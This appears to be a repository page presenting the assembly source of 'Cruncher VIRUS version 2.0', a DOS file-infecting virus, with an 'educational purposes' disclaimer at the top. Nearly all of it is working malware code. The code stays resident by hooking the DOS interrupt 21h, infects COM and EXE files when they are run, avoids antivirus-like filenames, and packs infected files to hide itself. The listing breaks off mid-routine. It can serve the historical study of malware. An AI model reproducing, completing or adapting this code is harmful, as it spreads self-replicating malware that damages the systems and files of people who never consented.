MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.crunch20.asm
2021-01-12 17:38:47 -06:00

1933 lines
61 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;-----------------------------------------------------------------------------
; Cruncher VIRUS version 2.0
;
; Use MASM 4.0 to compile this source
; (other assemblers will probably not produce the same result)
;
; Disclaimer:
; This file is only for educational purposes. The author takes no
; responsibility for anything anyone does with this file. Do not
; modify this file!
;-----------------------------------------------------------------------------
.RADIX 16
_TEXT segment
assume cs:_TEXT, ds:_TEXT
VERSION equ 2
FILELEN equ last - first ;length of virus
FILEPAR equ (FILELEN + 010F)/10 ;length of virus in paragraphs
STACKOFF equ 1000 ;Stack offset
BUFLEN equ 18 ;length of buffer
;---------------------------------------------------------------------------
; data area for virus
;---------------------------------------------------------------------------
org 00E0
oi21 dw 0, 0 ;original interupt 21
orglen dw 0, 0 ;original size of file
oldlen dw 0, 0 ;size of file to be packed
newlen dw 0, 0 ;size of packed file
lm_par dw 0 ;size of load module (p)
workseg dw 0 ;work segment
topseg dw 0 ;top of work area
vorm dw 0
savevorm dw 0
reads db 0
;-----------------------------------------------------------------------------
; begin of virus, installation in memory
;-----------------------------------------------------------------------------
org 0100
first: call next ;get IP
next: pop si
sub si,low 3 ;SI = begin virus
mov di,0100
cld
push ax ;save registers
push ds
push es
push di
push si
mov ah,30 ;DOS version >= 3.1?
int 21
xchg ah,al
cmp ax,030A
jb not_install
mov ax,33E0 ;already resident?
int 21
cmp ah,0A5
je not_install
mov ax,es ;adjust memory-size
dec ax
mov ds,ax
xor bx,bx
cmp byte ptr [bx],5A
jne not_install
mov ax,[bx+3]
sub ax,FILEPAR
jb not_install
mov [bx+3],ax
sub word ptr ds:[bx+12],FILEPAR
mov es,[bx+12] ;copy program to top
push cs
pop ds
mov cx,FILELEN
rep movsb
push es
pop ds
mov ax,3521 ;get original int21 vector
int 21
mov ds:[oi21],bx
mov ds:[oi21+2],es
mov dx,offset ni21 ;install new int21 handler
mov ax,2521
int 21
not_install: pop si ;restore registers
pop di
pop es
pop ds
pop ax
add si,(offset buffer-100)
cmp byte ptr cs:[si],4Dh ;COM or EXE ?
je entryE
entryC: push di ;restore COM file
mov cx,BUFLEN
rep movsb
ret
entryE: mov bx,ds ;calculate CS
add bx,low 10
mov cx,bx
add bx,cs:[si+0E]
cli ;restore SS and SP
mov ss,bx
mov sp,cs:[si+10]
sti
add cx,cs:[si+16]
push cx ;push new CS on stack
push cs:[si+14] ;push new IP on stack
db 0CBh ;retf
;-----------------------------------------------------------------------------
; interupt 24 handler
;-----------------------------------------------------------------------------
ni24: mov al,3 ;to avoid 'Abort, Retry, ...'
iret
;-----------------------------------------------------------------------------
; interupt 21 handler
;-----------------------------------------------------------------------------
ni21: pushf
cmp ax,33E0 ;install-check ?
jne not_ic
mov ax,0A500+VERSION ;return a signature
popf
iret
not_ic: cmp ax,33E1 ;print message ?
jne not_mes
push ds
push cs
pop ds
mov dx,offset printme
mov ah,9
int 21
pop ds
popf
iret
not_mes: push es ;save registers
push ds
push si
push di
push dx
push cx
push bx
push ax
cmp ax,4B00 ;execute ?
jne no_infect
call infect
no_infect: pop ax ;restore registers
pop bx
pop cx
pop dx
pop di
pop si
pop ds
pop es
popf
org21: jmp dword ptr cs:[oi21] ;call to old int-handler
;-----------------------------------------------------------------------------
; tries to infect the file
;-----------------------------------------------------------------------------
infect: cld
push cs ;copy filename to CS:0000
pop es
mov si,dx
xor di,di
mov cx,0080
namemove: lodsb
cmp al,0
je moved
cmp al,'a'
jb char_ok
cmp al,'z'
ja char_ok
xor al,20 ;convert to upper case
char_ok: stosb
loop namemove
return: ret
moved: stosb ;put last zero after filename
lea si,[di-5]
push cs
pop ds
lodsw ;check extension .COM or .EXE
cmp ax,'E.'
jne not_exe
lodsw
cmp ax,'EX'
jmp short check
not_exe: cmp ax,'C.'
jne return
lodsw
cmp ax,'MO'
check: jne return
push ax ;save begin of extension
std ;find begin of filename
mov cx,si
inc cx
searchbegin: lodsb
cmp al,':'
je checkname
cmp al,'\'
je checkname
loop searchbegin
dec si
checkname: pop dx
cld ;check filename
lodsw
lodsw
mov di,offset namesE
mov cl,12
cmp dx,'EX'
je zz
mov di,offset namesC
mov cl,3
zz: repnz scasw
je return
name_ok: mov ah,48 ;get space for work segment
mov bx,0FFFF
int 21
and bx,0F800
mov ah,48
int 21
jc return
push ax ;save begin and end of segment
add ax,bx
mov word ptr [topseg],ax
pop ax
add ah,10
mov word ptr [workseg],ax
mov cl,0Bh
shr bx,cl
sub bl,2
mov byte ptr [reads],bl
mov ax,3300 ;get ctrl-break flag
int 21
push dx ;save flag on stack
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524 ;get int24 vector
int 21
push es ;save vector on stack
push bx
push cs
pop ds
mov dx,offset ni24 ;install new int24 handler
mov ah,25
push ax
int 21
mov ax,4300 ;ask file-attributes
cwd
int 21
push cx ;save attributes on stack
xor cx,cx ;clear attributes
mov ax,4301
push ax
int 21
jc return1v
mov ax,3D02 ;open the file
int 21
jnc opened
return1v: jmp return1
opened: xchg ax,bx ;save handle
mov ax,5700 ;get file date & time
int 21
push dx ;save date & time on stack
push cx
xor dx,dx
mov di,offset oldlen
mov word ptr [di],dx
mov word ptr [di+2],dx
mov cx,word ptr [workseg] ;read complete file
lees: push cx
mov ds,cx
mov cx,8000
mov ah,3F
int 21
pop cx
cmp ax,dx ;stop if no more bytes are read
je gelezen
add word ptr cs:[di],ax ;count size of file
adc word ptr cs:[di+2],dx
add ch,8
dec byte ptr cs:[reads] ;read more?
jnz lees
cmp ax,(8000-FILELEN) ;file too big?
je close2
gelezen: mov ds,word ptr cs:[workseg] ;DS:SI -> begin of file
xor si,si
push cs
pop es
mov di,offset buffer
mov cx,BUFLEN ;copy begin of file to buffer
rep movsb
xor si,si
push ds
pop es
cmp word ptr [si],'ZM' ;EXE or COM?
je is_EXE
is_COM: call check_com ;check the file
jc close2
mov ah,3E ;close file
int 21
xor di,di ;put JMP at begin of file
mov al,0E9
stosb
mov ax,word ptr cs:[oldlen]
sub ax,low 3
stosw
call addvirus ;append virus after file
push cs
pop ds
mov ah,3C ;create new file
xor dx,dx
mov cx,20
int 21
jc return1
xchg ax,bx
call do_com ;write packed file
close2: jmp close
is_EXE: call check_exe ;check the file
jc close2
mov ah,3E ;close the file
int 21
infect_exe: call getlen ;calculate new CS & IP
mov cx,0010
div cx
sub ax,word ptr [si+8]
dec ax
add dx,low 10
mov word ptr [si+16],ax ;put CS in header
mov word ptr [si+0E],ax ;put SS in header
mov word ptr [si+14],dx ;put IP in header
mov word ptr [si+10],STACKOFF ;put SP in header
call getlen ;put new length in header
add ax,FILELEN
adc dx,0
call calclen
mov word ptr [si+4],ax
mov word ptr [si+2],dx
call addvirus ;append virus after file
call pre_patch ;prepare file for compression
jnc patch_ok
pop cx
pop dx
jmp short do_close
patch_ok: push cs
pop ds
mov ah,3C ;create new file
xor dx,dx
mov cx,20
int 21
jc return1
xchg ax,bx
call do_exe ;write packed file
close: pop cx ;restore date & time
pop dx
mov ax,5701
int 21
do_close: mov ah,3E ;close the file
int 21
return1: pop ax ;restore attributes
pop cx
cwd
int 21
pop ax ;restore int24 vector
pop dx
pop ds
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov ax,word ptr cs:[workseg] ;release work segment
sub ah,10
mov es,ax
mov ah,49
int 21
ret
;-----------------------------------------------------------------------------
; add virus to file
;-----------------------------------------------------------------------------
addvirus: push ds
push si
push cs ;ES:DI -> end of file
pop ds
call gotoend
mov si,0100 ;append virus
mov cx,FILELEN
rep movsb
add word ptr [oldlen],FILELEN ;adjust size counters
adc word ptr [oldlen+2],0
mov ax,word ptr [oldlen]
mov dx,word ptr [oldlen+2]
mov word ptr [orglen],ax
mov word ptr [orglen+2],dx
pop si
pop ds
ret
;-----------------------------------------------------------------------------
; filenames to avoid
;-----------------------------------------------------------------------------
namesC db 'CO', ' ', ' '
namesE db 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI', 'FI'
db 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' ', ' '
db ' ', ' '
;-----------------------------------------------------------------------------
; calculate length for EXE header
;-----------------------------------------------------------------------------
calclen: mov cx,0200
div cx
or dx,dx
jz no_cor
inc ax
no_cor: ret
;-----------------------------------------------------------------------------
; get original length of program
;-----------------------------------------------------------------------------
getlen: mov ax,cs:[oldlen]
mov dx,cs:[oldlen+2]
ret
;-----------------------------------------------------------------------------
; goto position in file
;-----------------------------------------------------------------------------
gotoend: call getlen
goto: call div10
add ax,word ptr cs:[workseg]
mov es,ax
mov di,dx
ret
;-----------------------------------------------------------------------------
; check COM file
;-----------------------------------------------------------------------------
check_com: cmp word ptr [si+3],0FC3Bh ;already packed?
je bad_com
test byte ptr [si],80 ;maybe a strange EXE?
jz bad_com
call getlen ;check length
cmp ah,0D0
jae bad_com
cmp ah,1
jb bad_com
clc
ret
bad_com: stc
ret
;-----------------------------------------------------------------------------
; check EXE file
;-----------------------------------------------------------------------------
check_exe: cmp word ptr [si+23],06FC ;already packed?
je bad_exe
cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ?
jb not_win
mov ax,003C
cwd
call goto
mov ax,word ptr es:[di]
mov dx,word ptr es:[di+2]
call goto
cmp byte ptr es:[di+1],'E'
je bad_exe
not_win: call getlen ;check for internal overlays
call calclen
cmp word ptr [si+4],ax
jne bad_exe
cmp word ptr [si+2],dx
jne bad_exe
cmp word ptr [si+0C],si ;high memory allocation?
je bad_exe
cmp word ptr [si+1A],si ;overlay nr. not zero?
jne bad_exe
cmp word ptr [si+8],0F80 ;check size of header
ja bad_exe
cmp word ptr [si+8],2
jb bad_exe
clc
ret
bad_exe: stc
ret
;---------------------------------------------------------------------
; prepare file for compression
;---------------------------------------------------------------------
pre_patch: mov ax,word ptr [si+4] ;calculate size in paragraphs
mov cx,5
shl ax,cl
sub ax,word ptr [si+8]
mov word ptr cs:[lm_par],ax
mov ax,word ptr cs:[orglen] ;calculate end of file
mov dx,word ptr cs:[orglen+2]
call goto
add ax,word ptr [si+8] ;file too big?
add ax,2
cmp ax,word ptr cs:[topseg]
jb not2big
stc
ret
not2big: mov ax,word ptr [si+8] ;copy header after file
push di
push di
push si
mov cx,3
shl ax,cl
mov cx,ax
rep movsw
mov dx,di
pop si
pop di
push dx
mov cx,word ptr [si+6] ;are there relocation items?
jcxz z5
add di,[si+18]
add si,[si+18]
push di
push si
push cx
xor ax,ax ;clear relloc. items
shl cx,1
rep stosw
pop cx
pop si
pop di
mov bp,-1
z1: lodsw ;fill in relloc. items
mov dx,ax
lodsw
or ax,ax
js errr
cmp ax,bp
jne z3
mov ax,dx
sub ax,bx
test ah,0C0
jnp z2
or ah,80
jmp short z4
z2: mov ax,[si-2]
z3: stosw
mov bp,ax
mov ax,dx
z4: mov bx,dx
stosw
loop z1
z5: pop dx
pop si
mov cx,di ;search end of relloc. table
xor ax,ax
z6: cmp di,dx
jae z7
scasb
jz z6
mov cx,di
jmp short z6
z7: sub cx,si
push es
pop ds
push si ;calculate checksum
push cx
xor ax,ax
z8: xor ah,[si]
inc si
loop z8
and ah,0FE
pop cx
pop si
add [si+2],ax
mov ax,cx
xor dx,dx
add word ptr cs:[oldlen],ax ;adjust size counters
adc word ptr cs:[oldlen+2],dx
mov ax,[si+8]
mov cx,4
shl ax,cl
sub word ptr cs:[oldlen],ax
sbb word ptr cs:[oldlen+2],dx
clc
ret
errr: stc
ret
;---------------------------------------------------------------------
; write packed COM file
;---------------------------------------------------------------------
do_com: mov ah,40 ;first part of decryptor
mov cx,25
mov dx,offset diet_strt
int 21
push bx
mov ax,word ptr [workseg] ;init. segments
mov ds,ax
sub ah,10
mov es,ax
mov cl,1
call diet ;crunch!
push cs
push cs
pop ds
pop es
mov word ptr [diet_strt+23],bx ;save values
mov word ptr [newlen],ax
mov word ptr [newlen+2],dx
pop bx
call patchC ;adjust values in decryptor
mov ah,40 ;write rest of decryptor
mov cx,094
mov dx,offset diet_end1
int 21
mov ah,40
mov cx,0F
mov dx,offset diet_end2
int 21
mov ax,4200 ;goto begin
xor cx,cx
cwd
int 21
mov ah,40 ;write first part again
mov cx,25
mov dx,offset diet_strt
int 21
ret
;---------------------------------------------------------------------
; write packed EXE file
;---------------------------------------------------------------------
do_exe: mov ah,40 ;first part of decryptor
mov cx,5A
mov dx,offset exe_hdr
int 21
push bx
mov ax,word ptr [workseg] ;init. segments
mov ds,ax
sub ah,10
mov es,ax
cmp word ptr cs:[oldlen+2],0
jl vorm1
jg vorm0
cmp word ptr cs:[oldlen],0FC00
jbe vorm1
vorm0: xor ax,ax
jmp short v1
vorm1: mov ax,1
v1: mov word ptr cs:[savevorm],ax
mov cx,ax
mov ax,ds
xor si,si
add ax,word ptr [si+8]
mov ds,ax
call diet ;crunch!
push cs
pop ds
mov es,word ptr [workseg]
mov word ptr [exe_hdr+12],bx ;save values
mov word ptr [newlen],ax
mov word ptr [newlen+2],dx
pop bx
call patchE ;adjust values in decryptor
push cs
pop es
mov cx,94 ;write rest of decryptor
cmp word ptr [savevorm],0
jne v2
mov cx,0C0
v2: mov ah,40
mov dx,offset diet_end1
int 21
mov ax,word ptr [vorm]
cmp al,2
je v4
cmp al,1
je v3
mov cx,35
mov dx,offset diet_end_e1
jmp short v5
v3: mov cx,3E
mov dx,offset diet_end_e2
jmp short v5
v4: mov cx,1Dh
mov dx,offset diet_end_e3
v5: mov ah,40
int 21
mov ax,4200 ;goto begin
xor cx,cx
cwd
int 21
mov ah,40 ;write first part again
mov cx,5A
mov dx,offset exe_hdr
int 21
ret
;---------------------------------------------------------------------
; adjust values in COM decryptor
;---------------------------------------------------------------------
patchC: mov ax,word ptr [newlen]
add ax,0C4
shr ax,1
mov word ptr [diet_strt+0F],ax
shl ax,1
add ax,123
mov word ptr [diet_strt+0C],ax
add ax,word ptr [oldlen]
sub ax,word ptr [newlen]
add ax,3DBh
mov word ptr [diet_strt+1],ax
mov ax,word ptr [oldlen]
add ax,456
mov word ptr [diet_strt+21],ax
add ax,4Dh
neg ax
mov word ptr [diet_end2+0Dh],ax
ret
;---------------------------------------------------------------------
; adjust values in EXE decryptor
;---------------------------------------------------------------------
patchE: push bx
mov ax,3A
xor dx,dx
add ax,word ptr [newlen]
adc dx,word ptr [newlen+2]
call div10
add ax,18
mov word ptr [exe_hdr+2E],ax
push dx
call getlen
call shift4
add ax,58
mov si,ax
sub ax,word ptr [exe_hdr+2E]
mov word ptr [exe_hdr+35],ax
cmp ax,10
jnb pe0
mov word ptr [exe_hdr+35],10
mov si,word ptr [exe_hdr+2E]
add si,ax
pe0: mov ax,word ptr [orglen]
mov dx,word ptr [orglen+2]
call shift4
sub ax,word ptr es:[0008]
mov word ptr [exe_hdr+58],ax
neg ax
add ax,si
mov cx,4
shl ax,cl
pop dx
add ax,dx
sub ax,107
mov word ptr [exe_hdr+56],ax
cmp word ptr es:[0006],0
jz pe2
mov ax,es:[0010]
mov cx,4
shr ax,cl
add ax,es:[000E]
mov dx,si
add dx,8
cmp ax,dx
jbe pe1
mov word ptr [vorm],0
mov ax,word ptr es:[000E]
mov word ptr [exe_hdr+0E],ax
mov ax,word ptr es:[0010]
mov word ptr [exe_hdr+10],ax
jmp short pe5
pe1: mov word ptr [vorm],1
jmp short pe4
pe2: mov word ptr [vorm],2
pe4: mov word ptr [exe_hdr+0E],si
mov word ptr [exe_hdr+10],0080
mov ax,word ptr es:[000E]
mov word ptr [diet_end_e2+26],ax
mov word ptr [diet_end_e3+05],ax
mov ax,word ptr es:[0010]
mov word ptr [diet_end_e2+2Bh],ax
mov word ptr [diet_end_e3+0A],ax
pe5: mov ax,094
cmp word ptr [savevorm],0
jne pe6
mov ax,0C0
pe6: xchg ax,dx
mov ax,word ptr [vorm]
mov bx,offset vormval
xlat
add ax,dx
add ax,5A
xor dx,dx
add ax,word ptr [newlen]
adc dx,word ptr [newlen+2]
push ax
push dx
push ax
push dx
push ax
add ax,01FF
adc dx,0
call shift9
mov word ptr [exe_hdr+4],ax
pop ax
and ax,01FF
mov word ptr [exe_hdr+2],ax
pop dx
pop ax
add ax,-11
adc dx,-1
call shift4
xchg ax,dx
mov di,word ptr [lm_par]
add di,es:[000A]
mov ax,si
add ax,8
cmp ax,di
ja pe10
mov ax,di
pe10: sub ax,dx
mov word ptr [exe_hdr+0A],ax
mov word ptr [exe_hdr+0C],0FFFF
cmp word ptr es:[000C],0FFFF
jz pe12
mov di,word ptr [lm_par]
add di,es:[000C]
mov ax,si
add ax,8
cmp ax,di
ja pe11
mov ax,di
pe11: sub ax,dx
mov word ptr [exe_hdr+0C],ax
pe12: mov ax,word ptr es:[0014]
mov word ptr [diet_end_e1+31],ax
mov word ptr [diet_end_e2+3A],ax
mov word ptr [diet_end_e3+19],ax
mov ax,word ptr es:[0016]
mov word ptr [diet_end_e1+33],ax
mov word ptr [diet_end_e2+3C],ax
mov word ptr [diet_end_e3+1Bh],ax
pop dx
pop ax
add ax,-22
adc dx,-1
call div10
mov word ptr [exe_hdr+1E],ax
mov word ptr [exe_hdr+1C],dx
mov ax,word ptr [orglen]
and ax,000F
add ax,word ptr es:[0018]
mov word ptr [diet_end_e1+4],ax
mov word ptr [diet_end_e2+4],ax
mov ax,word ptr es:[0006]
mov word ptr [diet_end_e1+7],ax
mov word ptr [diet_end_e2+7],ax
mov ax,word ptr [newlen]
mov dx,word ptr [newlen+2]
mov word ptr [exe_hdr+20],ax
mov byte ptr [exe_hdr+22],dl
mov ax,word ptr es:[0008]
mov word ptr [exe_hdr+1A],ax
pop bx
ret
;---------------------------------------------------------------------
; shift DX,AX 4 bytes to right
;---------------------------------------------------------------------
div10: mov cx,10
div cx
ret
;---------------------------------------------------------------------
; shift DX,AX to right
;---------------------------------------------------------------------
shift9: mov cx,9
jmp short shiftlup
shift4: mov cx,4
shiftlup: dec cx
jl shiftend
sar dx,1
rcr ax,1
jmp short shiftlup
shiftend: ret
;---------------------------------------------------------------------
; data area
;---------------------------------------------------------------------
vormval db 35, 3E, 1Dh
handle db 0, 0
data_163 dw 0
save_stack dw 0, 0
data_166 dw 0
data_167 dw 0
data_168 dw 0
data_169 dw 0
data_170 dw 0
data_171 dw 0
data_172 db 1
;---------------------------------------------------------------------
; decryptors
;---------------------------------------------------------------------
exe_hdr db 04Dh, 05Ah, 000h, 000h, 000h, 000h, 001h, 000h
db 002h, 000h, 000h, 000h, 0FFh, 0FFh, 000h, 000h
db 000h, 000h, 000h, 000h, 003h, 000h, 000h, 000h
db 01Ch, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 0FCh, 006h, 01Eh, 00Eh, 08Ch
db 0C8h, 001h, 006h, 038h, 001h, 0BAh, 000h, 000h
db 003h, 0C2h, 08Bh, 0D8h, 005h, 000h, 000h, 08Eh
db 0DBh, 08Eh, 0C0h, 033h, 0F6h, 033h, 0FFh, 0B9h
db 008h, 000h, 0F3h, 0A5h, 04Bh, 048h, 04Ah, 079h
db 0EEh, 08Eh, 0C3h, 08Eh, 0D8h, 0BEh, 04Ah, 000h
db 0ADh, 08Bh, 0E8h, 0B2h, 010h, 0EAh, 000h, 000h
db 000h, 000h
diet_strt db 0BFh, 000h, 000h, 03Bh, 0FCh, 072h, 004h, 0B4h
db 04Ch, 0CDh, 021h, 0BEh, 000h, 000h, 0B9h, 000h
db 000h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
db 0E9h, 000h, 000h, 000h, 000h
diet_end1 db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
db 03Ah, 0FBh, 075h, 0DDh, 0E8h, 069h, 0FFh, 073h
db 027h, 0B1h, 004h, 057h, 0D3h, 0EFh, 08Ch, 0C0h
db 003h, 0C7h, 080h, 0ECh, 002h, 08Eh, 0C0h, 05Fh
db 081h, 0E7h, 00Fh, 000h, 081h, 0C7h, 000h, 020h
db 056h, 0D3h, 0EEh, 08Ch, 0D8h, 003h, 0C6h, 08Eh
db 0D8h, 05Eh, 081h, 0E6h, 00Fh, 000h, 0EBh, 0B9h
diet_end2 db 033h, 0EDh, 033h, 0FFh, 033h, 0F6h, 033h, 0D2h
db 033h, 0DBh, 033h, 0C0h, 0E9h, 000h, 000h
diet_end_e1 db 05Dh, 00Eh, 01Fh, 0BEh, 000h, 000h, 0B9h, 000h
db 000h, 0ADh, 00Bh, 0C0h, 078h, 009h, 003h, 0C5h
db 08Eh, 0C0h, 0ADh, 08Bh, 0D8h, 0EBh, 006h, 0D1h
db 0E0h, 0D1h, 0F8h, 003h, 0D8h, 026h, 001h, 02Fh
db 0E2h, 0E7h, 007h, 01Fh, 033h, 0EDh, 033h, 0FFh
db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
db 0EAh, 000h, 000h, 000h, 000h
diet_end_e2 db 05Dh, 00Eh, 01Fh, 0BEh, 000h, 000h, 0B9h, 000h
db 000h, 0ADh, 00Bh, 0C0h, 078h, 009h, 003h, 0C5h
db 08Eh, 0C0h, 0ADh, 08Bh, 0D8h, 0EBh, 006h, 0D1h
db 0E0h, 0D1h, 0F8h, 003h, 0D8h, 026h, 001h, 02Fh
db 0E2h, 0E7h, 007h, 01Fh, 081h, 0C5h, 000h, 000h
db 08Eh, 0D5h, 0BCh, 000h, 000h, 033h, 0EDh, 033h
db 0FFh, 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h
db 0C0h, 0EAh, 000h, 000h, 000h, 000h
diet_end_e3 db 05Dh, 007h, 01Fh, 081h, 0C5h, 000h, 000h, 08Eh
db 0D5h, 0BCh, 000h, 000h, 033h, 0EDh, 033h, 0FFh
db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
db 0EAh, 000h, 000h, 000h, 000h
;---------------------------------------------------------------------
; crunch routines (thanks to Sourcer)
;---------------------------------------------------------------------
diet proc near
push bp
mov bp,sp
push di
push si
mov word ptr cs:[handle],bx
mov cs:data_172,cl
call getlen
mov cs:data_167,ax
mov cs:data_166,dx
cli
mov cs:[save_stack],ss
mov cs:[save_stack+2],sp
mov bx,es
mov ss,bx
mov sp,0FE00h
sti
cld
push dx
push ax
call sub_24
xor cx,cx
mov cs:data_169,cx
mov cs:data_170,cx
mov cs:data_163,cx
mov cs:data_171,0FFFFh
xor si,si
cmp byte ptr cs:data_172,0
jne loc_219
mov ax,ds
sub ax,200h
mov ds,ax
mov si,2000
loc_219:
mov di,0E000
mov cs:data_168,di
add di,2
pop ax
pop dx
or dx,dx
mov dx,10h
jnz loc_220
or ah,ah
jnz loc_220
mov dh,al
loc_220:
call sub_27
cmp ax,2
ja loc_223
jz loc_221
stc
call sub_23
mov al,[si-1]
stosb
mov cx,1
jmp loc_236
loc_221:
clc
call sub_23
clc
call sub_23
mov al,bl
stosb
cmp bx,0FF00h
pushf
call sub_23
popf
jc loc_222
mov cx,2
jmp loc_236
loc_222:
inc bh
mov cl,5
shl bh,cl
shl bh,1
call sub_23
shl bh,1
call sub_23
shl bh,1
call sub_23
mov cx,2
jmp loc_236
loc_223:
push ax
clc
call sub_23
stc
call sub_23
mov al,bl
stosb
cmp bh,0FEh
jb loc_224
mov cl,7
shl bh,cl
shl bh,1
call sub_23
stc
call sub_23
jmp loc_228
loc_224:
cmp bh,0FCh
jb loc_225
mov cl,7
shl bh,cl
shl bh,1
call sub_23
clc
call sub_23
stc
call sub_23
jmp short loc_228
loc_225:
cmp bh,0F8h
jb loc_226
mov cl,6
shl bh,cl
shl bh,1
call sub_23
clc
call sub_23
clc
call sub_23
shl bh,1
call sub_23
stc
call sub_23
jmp short loc_228
loc_226:
cmp bh,0F0h
jb loc_227
mov cl,5
shl bh,cl
shl bh,1
call sub_23
clc
call sub_23
clc
call sub_23
shl bh,1
call sub_23
clc
call sub_23
shl bh,1
call sub_23
stc
call sub_23
jmp short loc_228
loc_227:
mov cl,4
shl bh,cl
shl bh,1
call sub_23
clc
call sub_23
clc
call sub_23
shl bh,1
call sub_23
clc
call sub_23
shl bh,1
call sub_23
clc
call sub_23
shl bh,1
call sub_23
loc_228:
pop cx
cmp cx,3
jne loc_229
stc
call sub_23
jmp loc_236
loc_229:
cmp cx,4
jne loc_230
clc
call sub_23
stc
call sub_23
jmp loc_236
loc_230:
cmp cx,5
jne loc_231
clc
call sub_23
clc
call sub_23
stc
call sub_23
jmp loc_236
loc_231:
cmp cx,6
jne loc_232
clc
call sub_23
clc
call sub_23
clc
call sub_23
stc
call sub_23
jmp loc_236
loc_232:
cmp cx,7
jne loc_233
clc
call sub_23
clc
call sub_23
clc
call sub_23
clc
call sub_23
stc
call sub_23
clc
call sub_23
jmp short loc_236
loc_233:
cmp cx,8
jne loc_234
clc
call sub_23
clc
call sub_23
clc
call sub_23
clc
call sub_23
stc
call sub_23
stc
call sub_23
jmp short loc_236
loc_234:
cmp cx,10h
ja loc_235
mov bh,cl
sub bh,9
push cx
mov cl,5
shl bh,cl
clc
call sub_23
clc
call sub_23
clc
call sub_23
clc
call sub_23
clc
call sub_23
clc
call sub_23
shl bh,1
call sub_23
shl bh,1
call sub_23
shl bh,1
call sub_23
pop cx
jmp short loc_236
jmp short loc_236
loc_235:
clc
call sub_23
clc
call sub_23
clc
call sub_23
clc
call sub_23
clc
call sub_23
stc
call sub_23
mov ax,cx
sub ax,11h
stosb
loc_236:
cmp si,0E000h
jbe loc_238
cmp byte ptr cs:data_172,0
jne loc_237
clc
call sub_23
clc
call sub_23
mov al,0FFh
stosb
clc
call sub_23
stc
call sub_23
loc_237:
mov ax,ds
add ax,0C00h
mov ds,ax
call sub_25
sub si,0C000h
loc_238:
cmp di,0F810
jbe loc_240
push ds
push bp
push dx
push cx
mov cx,cs:data_168
cmp cx,0F800h
jbe loc_239
mov cx,1800h
call sub_22
loc_239:
pop cx
pop dx
pop bp
pop ds
loc_240:
mov ax,si
and ax,0F000h
cmp ax,cs:data_171
je loc_241
mov cs:data_171,ax
loc_241:
mov ax,cs:data_167
sub ax,cx
mov cs:data_167,ax
sbb cs:data_166,0
jnz loc_242
or ah,ah
jnz loc_242
mov dh,al
or al,al
jz loc_243
loc_242:
jmp loc_220
loc_243:
clc
call sub_23
clc
call sub_23
mov al,0FFh
stosb
clc
call sub_23
clc
call sub_23
loc_244:
shr bp,1
dec dl
jnz loc_244
push di
mov di,cs:data_168
mov es:[di],bp
pop di
mov cx,di
sub cx,0E000h
call sub_22
mov dx,cs:data_169
mov ax,cs:data_170
mov bx,cs:data_163
loc_245:
cli
mov ss,cs:[save_stack]
mov sp,cs:[save_stack+2]
sti
pop si
pop di
pop bp
ret
diet endp
;---------------------------------------------------------------------
;
;---------------------------------------------------------------------
sub_22 proc near
push es
pop ds
push di
push cx
mov ax,cs:data_163
mov bp,0FE00
mov bx,0E000
jcxz loc_248
locloop_247:
xor al,[bx]
inc bx
mov dl,al
xor dh,dh
mov al,ah
xor ah,ah
shl dx,1
mov di,dx
xor ax,[bp+di]
loop locloop_247
loc_248:
mov cs:data_163,ax
pop cx
pop di
mov dx,0E000
mov bx,word ptr cs:[handle]
mov ah,40h
int 21h
jc loc_250
cmp ax,cx
jne loc_250
add cs:data_170,ax
adc cs:data_169,0
sub di,cx
sub cs:data_168,cx
push cx
mov bx,dx
mov cx,10h
locloop_249:
mov ax,ds:[bx+1800]
mov [bx],ax
inc bx
inc bx
loop locloop_249
pop cx
ret
loc_250:
mov ax,0FFFFh
cwd
jmp loc_245
sub_22 endp
;---------------------------------------------------------------------
;
;---------------------------------------------------------------------
sub_23 proc near
rcr bp,1
dec dl
jnz loc_ret_251
push di
xchg di,cs:data_168
mov es:[di],bp
mov dl,10h
pop di
inc di
inc di
loc_ret_251:
ret
sub_23 endp
;---------------------------------------------------------------------
;
;---------------------------------------------------------------------
sub_24 proc near
xor bp,bp
xor bx,bx
mov cx,7000h
locloop_252:
mov [bp],bx
inc bp
inc bp
loop locloop_252
